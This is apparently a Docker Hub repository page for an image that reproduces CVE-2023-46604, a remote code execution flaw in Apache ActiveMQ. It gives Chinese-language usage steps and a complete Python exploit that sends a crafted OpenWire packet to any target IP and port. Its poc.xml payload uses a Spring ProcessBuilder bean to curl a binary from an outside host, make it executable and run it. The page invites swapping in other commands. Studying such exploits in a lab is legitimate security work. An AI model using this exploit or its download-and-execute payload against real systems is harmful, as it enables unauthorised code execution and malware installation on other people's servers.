Sign inSign up

ordar/activemq_cve-2023-46604

By ordar

•Updated almost 3 years ago

Image
0

1.1K

ordar/activemq_cve-2023-46604 repository overview

⁠启动

docker run -d -p 61616:61616  --name mq vulhub/activemq:5.17.3 ordar/activemq_cve-2023-46604

⁠复现

# 将poc.xml部署到http服务(Deploy on your vps)
python3 -m http.server
# 发送poc
python3 CVE-2023-46604.py -i target_ip -p target_port --xml http://vps_ip:8000/poc.xml

poc.xml : 你可以通过修改poc.xml中的rce命令来做不同的验证

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <!-- The command below downloads the file and saves it as test.elf -->
            <value>curl -s -o test.elf http://172.17.0.1:8000/test.elf; chmod +x ./test.elf; ./test.elf</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

CVE-2023-46604.py

import socket
import binascii
import argparse


def banner():
    print("""
                     _
         _   _ _ __ | | ___ __   _____      ___ __        ___  ___  ___
        | | | | '_ \| |/ / '_ \ / _ \ \ /\ / / '_ \ _____/ __|/ _ \/ __|
        | |_| | | | |   <| | | | (_) \ V  V /| | | |_____\__ \  __/ (__
         \__,_|_| |_|_|\_\_| |_|\___/ \_/\_/ |_| |_|     |___/\___|\___|

    """)


def string2hex(s):
    return binascii.hexlify(s.encode()).decode()


def int2hex(i, n):
    if n == 4:
        return f"{i:04x}"
    elif n == 8:
        return f"{i:08x}"
    else:
        raise ValueError("n must be 4 or 8")


def main(ip, port, xml):
    banner()
    class_name = "org.springframework.context.support.ClassPathXmlApplicationContext"
    message = xml

    header = "1f00000000000000000001"
    body = f"{header}01{int2hex(len(class_name), 4)}{string2hex(class_name)}01{int2hex(len(message), 4)}{string2hex(message)}"
    payload = int2hex(len(body) // 2, 8) + body
    data = binascii.unhexlify(payload)

    print(f"[+] Target: {ip}:{port}")
    print(f"[+] Poc XML: {xml}\n")
    print(f"[+] Sending packet: {payload}")

    conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn.connect((ip, int(port)))
    conn.sendall(data)
    conn.close()


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="ActiveMQ RCE PoC")
    parser.add_argument("-i", "--ip", required=True, help="ActiveMQ Server IP or Host")
    parser.add_argument("-p", "--port", default="61616", help="ActiveMQ Server Port")
    parser.add_argument("--xml", required=True, help="rce xml url")
    args = parser.parse_args()
    main(args.ip, args.port, args.xml)

Tag summary

Content type

Image

Digest

sha256:875a68d72…

Size

163.7 MB

Last updated

almost 3 years ago

docker pull ordar/activemq_cve-2023-46604